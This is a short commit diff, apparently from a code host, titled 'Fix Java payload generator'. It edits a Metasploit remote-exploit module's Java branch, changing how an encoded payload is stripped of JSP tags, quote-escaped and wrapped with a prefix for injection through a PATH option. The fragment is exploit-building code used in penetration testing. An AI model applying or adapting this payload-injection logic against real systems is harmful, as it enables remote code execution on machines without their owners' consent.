Fix Java payload generator
parent
464808d825
commit
08d08d2c95
|
@ -153,12 +153,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
datastore[payload_loc] = wrapped_payload
|
datastore[payload_loc] = wrapped_payload
|
||||||
when 'java'
|
when 'java'
|
||||||
payload_loc = 'PATH'
|
payload_loc = 'PATH'
|
||||||
payload_prefix = "a\\\"; "
|
payload_prefix = %q{a\\\"; "}
|
||||||
p = payload.encoded.gsub(/<%@page import="/, 'import ')
|
p = payload.encoded.gsub(/<%@page import="/, 'import ')
|
||||||
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
|
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
|
||||||
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
|
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
|
||||||
wrapped_payload = datastore['PAYLOAD_PREFIX'] +
|
wrapped_payload = datastore['PAYLOAD_PREFIX'] + p
|
||||||
p + datastore['PAYLOAD_SUFFIX']
|
|
||||||
datastore[payload_loc] = wrapped_payload
|
datastore[payload_loc] = wrapped_payload
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
|
|
Loading…
Reference in New Issue